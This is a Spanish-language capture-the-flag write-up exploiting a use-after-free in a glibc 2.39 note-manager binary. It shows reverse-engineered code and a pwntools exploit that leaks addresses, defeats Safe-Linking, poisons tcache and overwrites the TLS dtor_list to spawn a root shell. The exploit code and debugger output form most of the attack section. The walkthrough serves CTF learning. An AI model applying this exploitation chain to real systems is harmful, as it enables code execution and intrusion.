Note father - Redemption
12 minutos de lectura
Se nos proporciona un binario de 64 bits llamado chall_patched
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
También tenemos la librería Glibc versión 2.39 y el cargador, y el binario ya está parcheado para usar estos archivos:
$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.4) stable release version 2.39.
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 13.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Ingeniería inversa
Si abrimos el binario en Ghidra, podemos ver la siguiente función main
:
int main() {
int option;
while (graceful_exit == 0) {
option = menu();
switch (option) {
case 0:
new_note();
break;
case 1:
edit_note();
break;
case 2:
read_note();
break;
case 3:
del_note();
break;
case 4:
graceful_exit = 1;
break;
default:
throw("Unknown choize. Try again!");
}
}
puts("[+] Exiting app...");
return 0;
}
Tenemos un reto clásico de explotación del heap. Estas son las opciones que podemos usar:
void menu() {
puts("0 -> Create new note");
puts("1 -> Rewrite note");
puts("2 -> Read note");
puts("3 -> Delete note");
puts("4 -> Exit program");
get_int();
}
Antes de sumergirnos en las funciones, es un paso típico de ingeniería inversa comprender las estructuras de datos que se utilizan en el programa, utilizando tanto el descompilador como el depurador. Una vez que sabemos dónde se almacena cada uno de los campos, podemos definir una struct
en Ghidra, de modo que el código se vea más sencillo de leer. Por ejemplo, las notas aquí siguen la siguiente struct
:
struct note_t {
int used;
int freed;
size_t size;
char* data;
};
Función de asignación
Nosotras podemos crear notas con new_note
:
void new_note() {
unsigned int index;
int size;
unsigned long __size;
char *p_note;
printf("Input the note\'s idx (0 - %d)", 19);
index = get_int();
if (index < 20) {
printf("Input the note\'s size (1 - %d)", 0x400);
size = get_int();
__size = (unsigned long) size;
if ((__size == 0) || (0x400 < __size)) {
throw("Invalid note size");
} else {
p_note = (char*) malloc(__size);
notes[index].data = p_note;
notes[index].size = __size;
puts("[+]Enter the notes\' content:");
read(0, notes[index].data, notes[index].size - 1);
notes[index].used = 1;
notes[index].freed = 0;
printf("Note %d created!\n", (unsigned long) index);
}
} else {
throw("Invalid note index");
}
}
Hay una lista global notes
de 20 posiciones. En cada nota, debemos decirle al índice dónde colocarlo (desde 0
hasta 19
incluido), su tamaño (menos de 0x400
) y luego su contenido (chunks de heap gestionados por malloc
). No hay ningún desbordamiento aquí. Obsérvese que el campo used
está configurado en 1
y freed
se establece en 0
.
Función de edición
Se nos permite editar notas dado un índice:
void edit_note() {
unsigned int index;
printf("Input the index of the note to edit (0 - %d)", 19);
index = get_int();
if ((index < 20) && (notes[index].used != 0)) {
puts("[+]Enter the notes\' content:");
read(0, notes[index].data, notes[index].size - 1);
printf("Note %d edited!\n", (unsigned long) index);
} else {
throw("Invalid note index");
}
}
El índice se verifica correctamente, y la nota debe tener used = 1
. Después de eso, podemos sobrescribir la nota con nuevos datos, utilizando el tamaño de la nota. Tampoco hay desbordamientos.
Función de información
También podemos leer una nota:
void read_note() {
unsigned int index;
printf("Input the index of the note to read (0 - %d)", 19);
index = get_int();
if ((index < 20) && (notes[index].used != 0)) {
printf("Note %d:\n", (unsigned long) index);
puts(notes[index].data);
} else {
throw("Invalid note index");
}
}
Nuevamente, esta función verifica que el índice es correcto y que la nota está en uso. Luego, se imprime el campo data
.
Función de liberación
Finalmente, podemos eliminar notas:
void del_note() {
unsigned int index;
printf("Input the index of the note to delete (0 - %d)", 19);
index = get_int();
if ((index < 20) && (notes[index].freed == 0)) {
free(notes[index].data);
notes[index].freed = 1;
printf("Note %d deleted!\n", (unsigned long) index);
} else {
throw("Invalid note index");
}
}
La función verifica el índice y también verifica que la nota está en uso. Luego, llama a free
y establece el campo freed = 1
.
Sin embargo, el fallo es que el puntero notes[index]
no se borra. Por lo tanto, todavía hay una referencia a esta nota liberada en la lista global.
Además, obsérvese que el campo used
no se toca, por lo que todavía tiene used = 1
. Como resultado, podremos usar edit_note
y read_note
en una nota liberada. Esta situación se conoce como Use After Free.
Estrategia de explotación
La vulnerabilidad de Use After Free es fácil de explotar aquí, porque no tenemos muchas limitaciones. En primer lugar, obtendremos algunas fugas de memoria. Por ejemplo, necesitaremos una dirección del heap y una dirección de Glibc para saltarnos ASLR y Safe-Linking. Luego, utilizaremos Tcache poisoning para obtener una primitiva de escritura arbitraria. En este punto, hay varias formas de obtener ejecución del código, pero usaré TLS-Storage dtor_list
.
Es muy fácil obtener una fuga de memoria del heap porque una vez que liberemos un chunk del heap, habrá metadatos del heap para mantener las free-lists, es decir, direcciones del heap. En el caso de Glibc 2.39 y un tamaño inferior a 0x400
, el chunk se insertará en el Tcache, y mantendrá un puntero fd
con una dirección del heap que apunta al siguiente chunk liberado.
Por lo tanto, podemos liberar una nota y leer de ella para obtener una fuga de memoria del heap. Pero este no es el final, porque en Glibc 2.39 usa Safe-Linking en Tcache, una especie de mitigación para dificultar la explotación. Esto significa que estos punteros fd
se ofuscan usando un cifrado XOR con la dirección del chunk desplazada 12 bits a la derecha como clave. Sin embargo, como menciono en CRSid, es fácil saltársela.
Hay varios enfoques para obtener una fuga de Glibc. El más común es llenar la free-list del Tcache para un tamaño mayor que 0x80
, para estar fuera de ámbito de los chunks del Fast Bin. Una vez que liberemos el octavo, este chunk irá al Unsorted Bin, que contiene punteros fd
y bk
que apuntan a main_arena
dentro de Glibc.
Otro enfoque es liberar un chunk con un tamaño mayor que 0x400
, de modo que el Tcache no puede contenerlo e irá directamente al Unsorted Bin. Es posible utilizar este enfoque en este reto porque podemos usar un tamaño de 0x3f9
o más, y el tamaño efectivo será de 0x410
, por lo que está fuera de los límites del Tcache.
Una vez que tengamos todas las fugas, usaremos Tcache poisoning. Esto es solo modificar un puntero fd
para que, al asignar otra parte del mismo tamaño, podamos obtener un chunk en la ubicación deseada. Obsérvese que necesitaremos ofuscar direcciones debido al Safe-Linking. Con esto lograremos una primitiva de escritura arbitraria.
Finalmente, TLS-Storage dtor_list
es una técnica que explota la forma en la que los binarios usan la función exit
. Básicamente, estamos registrando una función que se ejecutarla a la salida. Esta es solo una estructura que aparece en una sección de la TLS. Aquí, la dirección de la función debe destrozarse con una cookie PTR_MANGLE
, que también se almacena en la TLS, y necesitamos conocerla de antemano. Pero es más fácil sobrescribirla con bytes nulos, de modo que la operación de mangling se convierta en un simple desplazamiento a la izquierda.
Cuando el payload esté listo en la TLS, necesitamos salir del programa normalmente, y obtendremos una shell.
Desarrollo del exploit
Usemos las siguientes funciones auxiliares:
def create(index: int, size: int, data: bytes):
io.sendlineafter(b'> ', b'0')
io.sendlineafter(b"Input the note's idx (0 - 19)> ", str(index).encode())
io.sendlineafter(b"Input the note's size (1 - 1024)> ", str(size).encode())
io.sendlineafter(b"[+]Enter the notes' content:\n", data)
def edit(index: int, data: bytes):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'Input the index of the note to edit (0 - 19)> ', str(index).encode())
io.sendafter(b"[+]Enter the notes' content:\n", data)
def view(index: int) -> bytes:
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'Input the index of the note to read (0 - 19)> ', str(index).encode())
io.recvuntil(f'Note {index}:\n'.encode())
return io.recvuntil(b'\n0 ->', drop=True)
def delete(index: int):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'Input the index of the note to delete (0 - 19)> ', str(index).encode())
Ejecutaremos el exploit directamente contra el contenedor de Docker. Podemos agregar un depurador siempre que tengamos permisos de root
(gdb -q -p $(pidof chall)
). De esta manera, evitaremos problemas como offsets incorrectas o diferentes mapas de memoria virtual. Además, se supone que la instancia remota tiene la misma configuración de Docker, por lo que si el exploit funciona en el contenedor de Docker local, también debe funcionar en la instancia remota.
Fugando direcciones de memoria
Comencemos por obtener direcciones del heap y de Glibc:
io = get_process()
for i in range(8):
create(i, 0xa8, b'asdf')
for i in range(8):
delete(7 - i)
Con esto, llenaremos el Tcache de tamaño 0xb0
, y el octavo fragmento liberado irá al Unsorted Bin. Este es el heap en este punto:
gef> visual-heap -n
0x62da7ea01000: 0x0000000000000000 0x0000000000000291 | ................ |
0x62da7ea01010: 0x0000000000000000 0x0000000000000000 | ................ |
0x62da7ea01020: 0x0000000000070000 0x0000000000000000 | ................ |
0x62da7ea01030: 0x0000000000000000 0x0000000000000000 | ................ |
* 9 lines, 0x90 bytes
0x62da7ea010d0: 0x0000000000000000 0x000062da7ea01350 | ........P..~.b.. |
0x62da7ea010e0: 0x0000000000000000 0x0000000000000000 | ................ |
* 26 lines, 0x1a0 bytes
0x62da7ea01290: 0x0000000000000000 0x00000000000000b1 | ................ | <- unsortedbins[1/1]
0x62da7ea012a0: 0x00007d4820164b20 0x00007d4820164b20 | K. H}.. K. H}.. |
0x62da7ea012b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea01340: 0x00000000000000b0 0x00000000000000b0 | ................ |
0x62da7ea01350: 0x000062dc5307fe01 0x3dec5f7853a94add | ...S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][4/7]
0x62da7ea01360: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea013f0: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea01400: 0x000062dc5307feb1 0x3dec5f7853a94add | ...S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][1/7]
0x62da7ea01410: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea014a0: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea014b0: 0x000062dc5307ff61 0x3dec5f7853a94add | a..S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][6/7]
0x62da7ea014c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea01550: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea01560: 0x000062dc5307fc11 0x3dec5f7853a94add | ...S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][2/7]
0x62da7ea01570: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea01600: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea01610: 0x000062dc5307fcc1 0x3dec5f7853a94add | ...S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][5/7]
0x62da7ea01620: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea016b0: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea016c0: 0x000062dc5307fd71 0x3dec5f7853a94add | q..S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][3/7]
0x62da7ea016d0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea01760: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea01770: 0x000000062da7ea01 0x3dec5f7853a94add | ...-.....J.Sx_.= | <- tcache[idx=9,sz=0xb0][7/7]
0x62da7ea01780: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea01810: 0x0000000000000000 0x00000000000207f1 | ................ | <- top
0x62da7ea01820: 0x0000000000000000 0x0000000000000000 | ................ |
* 8317 lines, 0x207d0 bytes
gef> bins
--------------------------------------------------------------------------------------------------------- Tcachebins for arena 'main_arena' ---------------------------------------------------------------------------------------------------------
tcachebins[idx=9, size=0xb0, @0x62da7ea010d8] count=7
-> Chunk(addr=0x62da7ea01340, size=0xb0, flags=, fd=0x62da7ea01400, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea013f0, size=0xb0, flags=PREV_INUSE, fd=0x62da7ea014b0, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea014a0, size=0xb0, flags=PREV_INUSE, fd=0x62da7ea01560, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea01550, size=0xb0, flags=PREV_INUSE, fd=0x62da7ea01610, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea01600, size=0xb0, flags=PREV_INUSE, fd=0x62da7ea016c0, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea016b0, size=0xb0, flags=PREV_INUSE, fd=0x62da7ea01770, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea01760, size=0xb0, flags=PREV_INUSE, fd=0x000000000000, bk=0x3dec5f7853a94add)
[+] Found 7 chunks in tcache.
---------------------------------------------------------------------------------------------------------- Fastbins for arena 'main_arena' ----------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in fastbin.
-------------------------------------------------------------------------------------------------------- Unsorted Bin for arena 'main_arena' --------------------------------------------------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7d4820164b30]: fd=0x62da7ea01290, bk=0x62da7ea01290
-> Chunk(addr=0x62da7ea01290, size=0xb0, flags=PREV_INUSE, fd=0x7d4820164b20, bk=0x7d4820164b20)
[+] Found 1 chunks in unsorted bin.
--------------------------------------------------------------------------------------------------------- Small Bins for arena 'main_arena' ---------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
--------------------------------------------------------------------------------------------------------- Large Bins for arena 'main_arena' ---------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
Como se puede ver, tenemos muchas direcciones del heap y una dirección de Glibc que apunta a main_arena+96
. Encontremos las direcciones base:
gef> x 0x00007d4820164b20
0x7d4820164b20 <main_arena+96>: 0x7ea01810
gef> p/x 0x00007d4820164b20 - $libc
$1 = 0x203b20
glibc.address = u64(view(0).ljust(8, b'\0')) - 0x203b20
heap_addr = deobfuscate(u64(view(1).ljust(8, b'\0'))) & 0xfffffffffffff000
io.success(f'Glibc base address: {hex(glibc.address)}')
io.success(f'Heap base address: {hex(heap_addr)}')
[+] Glibc base address: 0x7d481ff61000
[+] Heap base address: 0x62da7ea01000
En este punto, podemos crear el payload de TLS-Storage dtor_list
:
gef> tls
$tls = 0x7d481ff5e740
------------------------------------------------ TLS-0x80 ------------------------------------------------
0x7d481ff5e6c0|+0x0000|+000: 0x00007d482016c680 <_res@GLIBC_2.2.5> -> 0x0000000000000000
0x7d481ff5e6c8|+0x0008|+001: 0x0000000000000000
0x7d481ff5e6d0|+0x0010|+002: 0x00007d48201129c0 <_nl_C_LC_CTYPE_tolower+0x200> -> 0x0000000100000000
0x7d481ff5e6d8|+0x0018|+003: 0x00007d4820112fc0 <_nl_C_LC_CTYPE_toupper+0x200> -> 0x0000000100000000
0x7d481ff5e6e0|+0x0020|+004: 0x00007d48201138c0 <_nl_C_LC_CTYPE_class+0x100> -> 0x0002000200020002
0x7d481ff5e6e8|+0x0028|+005: 0x0000000000000000
0x7d481ff5e6f0|+0x0030|+006: 0x0000000000000000
0x7d481ff5e6f8|+0x0038|+007: 0x0000000000000000
0x7d481ff5e700|+0x0040|+008: 0x000062da7ea01010 -> 0x0000000000000000
0x7d481ff5e708|+0x0048|+009: 0x0000000000000000
0x7d481ff5e710|+0x0050|+010: 0x00007d4820164ac0 <main_arena> -> 0x0000000000000000
0x7d481ff5e718|+0x0058|+011: 0x0000000000000000
0x7d481ff5e720|+0x0060|+012: 0x0000000000000000
0x7d481ff5e728|+0x0068|+013: 0x0000000000000000
0x7d481ff5e730|+0x0070|+014: 0x0000000000000000
0x7d481ff5e738|+0x0078|+015: 0x0000000000000000
--------------------------------------------------- TLS --------------------------------------------------
0x7d481ff5e740|+0x0000|+000: 0x00007d481ff5e740 -> [loop detected]
0x7d481ff5e748|+0x0008|+001: 0x00007d481ff5f0e0 -> 0x0000000000000001
0x7d481ff5e750|+0x0010|+002: 0x00007d481ff5e740 -> [loop detected]
0x7d481ff5e758|+0x0018|+003: 0x0000000000000000
0x7d481ff5e760|+0x0020|+004: 0x0000000000000000
0x7d481ff5e768|+0x0028|+005: 0x2623e3231a60fe00 <- canary
0x7d481ff5e770|+0x0030|+006: 0xaa21bcd4d18b306e <- PTR_MANGLE cookie
0x7d481ff5e778|+0x0038|+007: 0x0000000000000000
0x7d481ff5e780|+0x0040|+008: 0x0000000000000000
0x7d481ff5e788|+0x0048|+009: 0x0000000000000000
0x7d481ff5e790|+0x0050|+010: 0x0000000000000000
0x7d481ff5e798|+0x0058|+011: 0x0000000000000000
0x7d481ff5e7a0|+0x0060|+012: 0x0000000000000000
0x7d481ff5e7a8|+0x0068|+013: 0x0000000000000000
0x7d481ff5e7b0|+0x0070|+014: 0x0000000000000000
0x7d481ff5e7b8|+0x0078|+015: 0x0000000000000000
gef> p/x $libc - $tls
$3 = 0x28c0
gef> p/x 0x00007d481ff5f0e0 - $tls
$4 = 0x9a0
tls_addr = glibc.address - 0x28c0
tls_payload = p64(tls_addr - 0x80 + 0x38)
tls_payload += p64(glibc.sym.system << 17)
tls_payload += p64(next(glibc.search(b'/bin/sh')))
tls_payload += p64(0) * 7
tls_payload += p64(tls_addr)
tls_payload += p64(tls_addr + 0x9a0)
tls_payload += p64(tls_addr)
tls_payload += p64(0) * 4
Ahora, escribiremos este payload utilizando nuestra primitiva de escritura arbitraria a través de Tcache poisoning:
edit(1, p64(obfuscate(tls_addr - 0x80 + 0x30, heap_addr + 0x290 + 0xb0)))
create(8, 0xa8, b'asdf')
gef> tcache
------------------------------------ Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=9, size=0xb0, @0x62da7ea010d8] count=6
-> Chunk(addr=0x7d481ff5e6e0, size=0x0, flags=, fd=0x0007d481ff5e, bk=0x000000000000)
-> 0x7d481ff5e [Corrupted chunk]
[+] Found 1 chunks in tcache.
Obsérvese cómo se asignará el próxima chunk de Tcache en la dirección que queremos. Entonces, solo necesitamos crear otra nota y escribir el payload allí:
create(9, 0xa8, tls_payload)
gef> tls
$tls = 0x7d481ff5e740
------------------------------------------------ TLS-0x80 ------------------------------------------------
0x7d481ff5e6c0|+0x0000|+000: 0x00007d482016c680 <_res@GLIBC_2.2.5> -> 0x0000000000000000
0x7d481ff5e6c8|+0x0008|+001: 0x0000000000000000
0x7d481ff5e6d0|+0x0010|+002: 0x00007d48201129c0 <_nl_C_LC_CTYPE_tolower+0x200> -> 0x0000000100000000
0x7d481ff5e6d8|+0x0018|+003: 0x00007d4820112fc0 <_nl_C_LC_CTYPE_toupper+0x200> -> 0x0000000100000000
0x7d481ff5e6e0|+0x0020|+004: 0x00007d48201138c0 <_nl_C_LC_CTYPE_class+0x100> -> 0x0002000200020002
0x7d481ff5e6e8|+0x0028|+005: 0x0000000000000000
0x7d481ff5e6f0|+0x0030|+006: 0x00007d481ff5e6f8 -> 0xfa903ff72ea00000
0x7d481ff5e6f8|+0x0038|+007: 0xfa903ff72ea00000
0x7d481ff5e700|+0x0040|+008: 0x00007d482012c42f -> 0x0068732f6e69622f ('/bin/sh'?)
0x7d481ff5e708|+0x0048|+009: 0x0000000000000000
0x7d481ff5e710|+0x0050|+010: 0x0000000000000000
0x7d481ff5e718|+0x0058|+011: 0x0000000000000000
0x7d481ff5e720|+0x0060|+012: 0x0000000000000000
0x7d481ff5e728|+0x0068|+013: 0x0000000000000000
0x7d481ff5e730|+0x0070|+014: 0x0000000000000000
0x7d481ff5e738|+0x0078|+015: 0x0000000000000000
--------------------------------------------------- TLS --------------------------------------------------
0x7d481ff5e740|+0x0000|+000: 0x00007d481ff5e740 -> [loop detected]
0x7d481ff5e748|+0x0008|+001: 0x00007d481ff5f0e0 -> 0x0000000000000001
0x7d481ff5e750|+0x0010|+002: 0x00007d481ff5e740 -> [loop detected]
0x7d481ff5e758|+0x0018|+003: 0x0000000000000000
0x7d481ff5e760|+0x0020|+004: 0x0000000000000000
0x7d481ff5e768|+0x0028|+005: 0x0000000000000000
0x7d481ff5e770|+0x0030|+006: 0x0000000000000000
0x7d481ff5e778|+0x0038|+007: 0x000000000000000a
0x7d481ff5e780|+0x0040|+008: 0x0000000000000000
0x7d481ff5e788|+0x0048|+009: 0x0000000000000000
0x7d481ff5e790|+0x0050|+010: 0x0000000000000000
0x7d481ff5e798|+0x0058|+011: 0x0000000000000000
0x7d481ff5e7a0|+0x0060|+012: 0x0000000000000000
0x7d481ff5e7a8|+0x0068|+013: 0x0000000000000000
0x7d481ff5e7b0|+0x0070|+014: 0x0000000000000000
0x7d481ff5e7b8|+0x0078|+015: 0x0000000000000000
La TLS se ve bien, por lo que ahora podemos salir del programa (opción 4) y obtener una shell:
io.sendlineafter(b'> ', b'4')
io.recvuntil(b'[+] Exiting app...\n')
io.interactive()
[*] Switching to interactive mode
$ whoami
root
Flag
En este punto, podemos conectarnos a la instancia remota y capturar la flag:
$ python3 solve.py 0.cloud.chals.io 15077
[*] './chall_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to 0.cloud.chals.io on port 15077: Done
[+] Glibc base address: 0x7b5a3564e000
[+] Heap base address: 0x5c2b6393d000
[*] Switching to interactive mode
$ cat /flag*
HackOn{th15_w4s_4_t00_e4zy_2_b3_c4ll3d_f4th3r...d0738538b7823bb2778b4380b1044b36}
El exploit completo se puede encontrar aquí: solve.py
.